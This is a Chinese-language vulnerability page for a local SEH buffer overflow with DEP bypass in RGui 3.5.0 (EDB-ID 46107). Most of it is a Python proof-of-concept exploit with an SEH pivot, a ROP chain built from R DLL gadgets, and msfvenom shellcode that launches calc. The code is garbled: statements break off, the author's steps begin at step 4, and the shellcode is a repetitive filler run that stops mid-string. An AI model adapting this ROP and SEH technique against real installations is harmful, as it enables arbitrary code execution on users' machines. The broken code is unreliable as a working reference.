RGui 3.5.0 - 本地缓冲区溢出漏洞 (SEH/DEP绕过) 漏洞概述 漏洞标题: RGui 3.5.0 - Local Buffer Overflow (SEH)(DEP Bypass) EDB-ID: 46107 作者: 82YO 发布日期: 2019-01-10 漏洞类型: 本地 (LOCAL) 利用方式: 通过构造恶意输入触发缓冲区溢出,覆盖SEH(结构化异常处理)并绕过DEP(数据执行保护),最终执行任意代码。 影响范围 平台: Windows 受影响软件: RGui 3.5.0 软件主页: https://www.r-project.org/ 修复方案 页面未提供具体的修复方案。建议联系软件供应商(R Project)获取更新或补丁。 POC/利用代码 ```python #!/usr/bin/python Exploit Author: 82yo Twitter: @82yo_ Exploit Title: RGui 3.5.0 - Local Buffer Overflow (SEH)(DEP Bypass) Date: 01-09-2018 Vulnerable Software: RGui 3.5.0 Vendor Homepage: https://www.r-project.org/ Version: 3.5.0 4. select OK 5. pop calc import struct filename = "rgui350dep.txt" junk = "A"904 #[pivot 2556 / 0x9fc] #ADD ESP,9FC POP EBX POP ESI POP EDI POP EBP RETN [Rgraphapp.dll] seh = struct.pack(' put 0x80001000 into edx) 0x6c92e13a, ADD EAX,3B18C403 RETN [R.dll] 0x6c9f60ca, XCHG EAX,EDX RETN [R.dll] 0x713011b0, POP ECX RETN [stats.dll] 0xffffffff, Value to negate, will become 0x80000000 0x71360d70, NEG ECX RETN [stats.dll] 0x6c92001a, POP EDI RETN [R.dll] 0x6375fe5c, RETN (POP NOP) [Rgraphapp.dll] 0x63970123, POP EAX RETN [graphics.dll] 0x6c906090, nop 0x6cff2de3, PUSHAD RETN [grdevices.dll] ] return ''.join(struct.pack('<L', _) for _ in rop_gadgets) rop_chain = create_rop_chain() #msfvenom -a x86 --platform windows /exec CMD=calc.exe -b "\x00\xda\xad\xdd\xde" -e x86/alpha_mixed -f c payload size: 440 bytes calc = ("\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\x91\x90\